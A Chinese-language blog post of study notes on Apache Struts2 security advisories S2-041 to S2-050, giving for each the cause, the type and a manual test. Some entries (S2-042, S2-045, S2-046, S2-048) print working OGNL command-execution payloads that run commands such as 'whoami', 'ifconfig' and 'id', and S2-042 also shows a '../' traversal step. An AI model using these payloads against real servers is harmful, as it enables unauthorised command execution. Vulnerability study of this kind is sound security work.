Struts2-全漏洞研究(五)


本文是在自己入门漏洞研究的同时编写这些笔记。
个人整理,如有错误,请联系更改。 – taamr
微步社区的文章也是我发的,并不是我抄的,看id就能知道了。
并且只提供POC,不提供EXP,谢谢


S2-041

漏洞原理:
如果应用程序允许在表单中输入一个URL字段,并且使用了内置的URLValidator,则可以准备一个特殊的URL,用于在执行URL验证时超载服务器进程。

漏洞类型:
拒绝服务攻击。

漏洞手测:
无。


S2-042

漏洞原理:
在进行struts2开发时,需要在配置文件(struts.xml)中写一个个action,和对应返回结果的result(可以理解为前端返回的jsp文件)。但是,写的action多了,配置起来就显得特别繁琐了。struts2 Convention插件可以完全抛弃配置,也就是约定优于配置。大量通过Convention插件约定来调度页面的跳转而使得配置大大减少。此漏洞就是通过这个插件来实现、可以准备一个特殊的URL,用于路径遍历和在服务器端执行任意代码。

简单来说,Convention插件存在目录遍历问题。

漏洞类型:
目录遍历漏洞、远程命令执行漏洞。配置问题、未过滤问题。可利用性:6分。

漏洞手测:

目录遍历:
正常访问Url后:

S2-042-1

加../即可

S2-042-2

远程命令执行:
POC:
%24%7B%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%2C%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%7D%2f..%2fadmin

S2-043

漏洞原理:
在生产环境中使用配置浏览器插件可能会导致泄露应用程序的信息。

漏洞类型:
信息泄露漏洞。错误配置。可利用性:3分。

漏洞手测:
无。


S2-044

漏洞原理:
如果应用程序允许在表单中输入一个URL字段,并且使用了内置的URLValidator,则可以准备一个特殊的URL,用于在执行URL验证时超载服务器进程。

漏洞类型:
拒绝服务攻击。

漏洞手测:
无。


S2-045

漏洞原理:
可能使用恶意内容类型值执行RCE攻击。如果内容类型值无效,将引发异常,然后使用该异常向用户显示错误消息。详细来说,Struts2默认处理上传文件请求(POST请求)的解析器是jakarta,是这个组件出现了问题。该组件定义在了struts-default.xml中,因此,只要不修改parser,默认配置下,并且版本在受影响范围内,肯定是有问题的。问题出现在org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类中的buildErrorMessage方法里:

buildErrorMessage方法

传入了非法的Content-type之后会引发JakartaMultiPartRequest类报错,因此会来到这个方法去处理错误信息,进入findText函数:

findText函数

又调用了getDefaultMessage方法,继续:

getDefaultMessage方法

关键在这个translateVariable方法里,进入方法定义:

translateVariable方法

将提取出错误信息有效的部分的当做ognl表达式执行,注意到$以及 %,exp上是%{…..},实际上${….}也可以。

evaluate方法执行OGNL表达式

最终在OgnlTextParser的evaluate方法执行了命令,非常奇怪的逻辑,解析了错误信息里的ognl信息。

简单来说,处理上传文件请求的jakarta组件遇到错误的content-type会引发报错,然后会将Content-Type错误信息有效的OGNL表达式解析执行,导致RCE。

漏洞类型:
远程命令执行漏洞。逻辑错误。可利用性:8分。

漏洞手测:
发送POST请求,更改content-type为poc:

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

S2-046

漏洞原理:
可能使用恶意内容处置值或不正确的内容长度标头执行RCE攻击。如果Content Disposition/Content Length值无效,将引发异常,然后使用该异常向用户显示错误消息。这是S2-045(CVE-2017-5638)中描述的相同漏洞的不同载体。发生问题的类与S2-045相似,只是传payload的地方从content-type变成了Content Disposition/Content Length。这两个值无效时,filename处的值会被S2-045时的JakartaMultiPartRequest类报错,并继续处理导致RCE。

简单来说,与S2-045一样,只是传payload的参数发生变换了。

漏洞类型:
远程命令执行漏洞。逻辑错误。可利用性:8分。

漏洞手测:
将content-length值设为大于2G的值,在filename处添加poc

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

S2-047

漏洞原理:
如果应用程序允许在表单字段中输入URL并使用内置的URLValidator,则可以准备一个特殊的URL,在执行URL验证时,该URL将用于重载服务器进程。与S2-044相似。

漏洞类型:
拒绝服务攻击。

漏洞手测:
无。


S2-048

漏洞原理:
根据官网说明,可知漏洞产生的原因是将用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText() 函数,最后 message 被当作 ognl 表达式执行。

漏洞类型:
远程命令执行漏洞。逻辑错误。可利用性:8分。

漏洞手测:

在表单填写
${2*2}
命令执行poc
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

S2-049

漏洞原理:
当开发人员在Struts框架中使用Spring AOP例如Spring Security来做权限控制的时候,则可能存在拒绝服务。

AOP概念:AOP(Aspect Oriented Programming),即面向切面编程,可以说是OOP(Object Oriented Programming,面向对象编程)的补充和完善。OOP引入封装、继承、多态等概念来建立一种对象层次结构,用于模拟公共行为的一个集合。不过OOP允许开发者定义纵向的关系,但并不适合定义横向的关系,例如日志功能。日志代码往往横向地散布在所有对象层次中,而与它对应的对象的核心功能毫无关系对于其他类型的代码,如安全性、异常处理和透明的持续性也都是如此,这种散布在各处的无关的代码被称为横切(cross cutting),在OOP设计中,它导致了大量代码的重复,而不利于各个模块的重用。AOP技术恰恰相反,它利用一种称为”横切”的技术,剖解开封装的对象内部,并将那些影响了多个类的公共行为封装到一个可重用模块,并将其命名为”Aspect”,即切面。所谓”切面”,简单说就是那些与业务无关,却为业务模块所共同调用的逻辑或责任封装起来,便于减少系统的重复代码,降低模块之间的耦合度,并有利于未来的可操作性和可维护性。

使用”横切”技术,AOP把软件系统分为两个部分:核心关注点和横切关注点。业务处理的主要流程是核心关注点,与之关系不大的部分是横切关注点。横切关注点的一个特点是,他们经常发生在核心关注点的多处,而各处基本相似,比如权限认证、日志、事物。AOP的作用在于分离系统中的各种关注点,将核心关注点和横切关注点分离开来。

Spring在使用AOP的时候存在两种代理方式:
如果被代理的类是接口的话则使用jdk自带的动态代理来实现。
当需要代理的类不是代理接口的时候,Spring会切换为使用CGLIB代理。

Spring Security使用CGLIB在创建Proxy的时候会注册。
org.springframework.aop.framework.Advised接口实现以及属性到动态生成的代理类里面。
但是Struts2调用Spring Security AOP代理生成的Action,经过ParametersInterceptor拦截器的时候可以设置被代理的Action的属性。从而导致被代理类里面某些动态设置的属性值被篡改,产生拒绝服务。

简单来说,struts2框架中使用Spring AOP 来代理生成的Action,经过ParametersInterceptor的时候可以篡改属性,导致拒绝服务。

漏洞类型:
拒绝服务攻击。

漏洞手测:
无。


S2-050

漏洞原理:
先前与S2-047一起发布的修复程序不完整。如果应用程序允许在表单字段中输入URL并使用内置的URLValidator,则可以准备一个特殊的URL,在执行URL验证时,该URL将用于重载服务器进程。与S2-044&S2-047相似。

漏洞类型:
拒绝服务攻击。

漏洞手测:
无。


文章作者: meta-taamr
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 meta-taamr !